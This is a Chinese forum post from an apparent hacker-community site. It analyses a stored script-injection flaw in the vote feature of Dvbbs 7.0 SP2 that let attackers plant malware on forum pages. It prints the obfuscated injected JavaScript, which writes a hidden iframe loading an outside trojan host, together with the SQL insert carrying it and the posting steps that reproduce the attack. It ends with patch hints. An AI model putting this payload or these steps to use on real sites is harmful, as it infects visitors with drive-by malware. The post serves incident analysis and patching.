这个漏洞我只在动网dv7.0 sp2 中测试成功,官方版本也有此问题。最新版 dvbbs 7.1 大家自己测试吧。华夏黑客同盟论坛已经改版成功, 从此再也不和动网玩游戏了,我们不再使用动网论坛程序。 使用动网论坛 三天两头出漏洞被挂马,不够累的!欢迎大家光临 本站新论坛 http://bbs.77169.com
起因:
两个星期前本站会员找到我们,说他开的论坛被挂木马了!使用的最新商业版的动网程序。
我们浏览了他给出的论坛地址。
http://bbs.xxxxx.com/dispbbs.asp?boardid=8&id=476
打开之后是一个投票的贴子,杀毒软件提示有病毒。看来是被人挂马了。
马上查看源程序发现如下代码。
以下是引用片段:
<a name=top></a> </td>
</table><br><Script Language=javascript>var vote='';document.all.popmenu.innerHTML=document.all.popmenu.innerHTML+String.fromCharCode(60)+'IFRAME frameBorder=0 height=0 marginHeight=0 marginWidth=0 scrolling=no src=http://muma.77169.org width=0'+String.fromCharCode(62)+String.fromCharCode(60)+'/IFRAME'+String.fromCharCode(62);var vote='1';var votenum='0';var votetype='0';var voters='0';</Script><!--帖子浏览顶部-->
分析:
这个木马是怎么插入进去的呢?
首先 此论坛已经打上补丁了,而且 只有投票贴子被挂马了。第一反映就是投票 贴子没有过滤好。
那我们来发一个投票贴子,分析一下投票内容是保存在 动网数据库中 字段中。
分析之后发现 是保存在这个 vote 字段中。vote字段 数据源来自于 投票项目,这就清楚了。
下面我们来模拟黑客发木马贴子的过程。
1,注册一个用户
2,发表投票贴子
3,投票项目 中写入这样的代码 如图
打开这个投票贴子,就打开了有病毒的网页。
插入木马 主要是执行了这一个这样的语句,大家分析一下就知道,是向dv_vote表中插入的。
Select JoinDate,UserID,UserPost,UserGroupID,userclass,lockuser,TruePassWord From [Dv_User] Where UserID=1
insert into dv_vote (vote,votenum,votetype,timeout) values (''';document.all.popmenu.innerHTML=document.all.popmenu.innerHTML+String.fromCharCode(60)+''IFRAME frameBorder=0 height=0 marginHeight=0 marginWidth=0 scrolling=no src=http://www.XXXXX.org width=0''+String.fromCharCode(62)+String.fromCharCode(60)+''/IFRAME''+String.fromCharCode(62);var vote=''1','0',0,'2032-12-22 23:45:16')
想写补丁的话,提示一下,主要问题在 savepost.asp这个文件中找到代码。
If Action = 7 Then
votetype=Dvbbs.Checkstr(request.Form("votetype"))
If IsNumeric(votetype)=0 or votetype="" Then votetype=0
vote=Dvbbs.Checkstr(trim(Replace(request.Form("vote"),"|","")))
Dim j,k,vote_1,votelen,votenumlen
If vote="" Then
Dvbbs.AddErrCode(81)
给 dv_vote (vote,votenum,votetype,timeout) 中几个变量给过滤一下!
可以参考 相关问题!
http://www.77169.org/Article/Class43/Class28/200507/18327.html
建议解决方案:
1,在后台禁止注册用户发表 投票
2,去官方下载最新版本
3,自己写个补丁 (已经给出提示了,我这几天没时间,过几天如果官方没给补丁 我们网站会发布补丁的)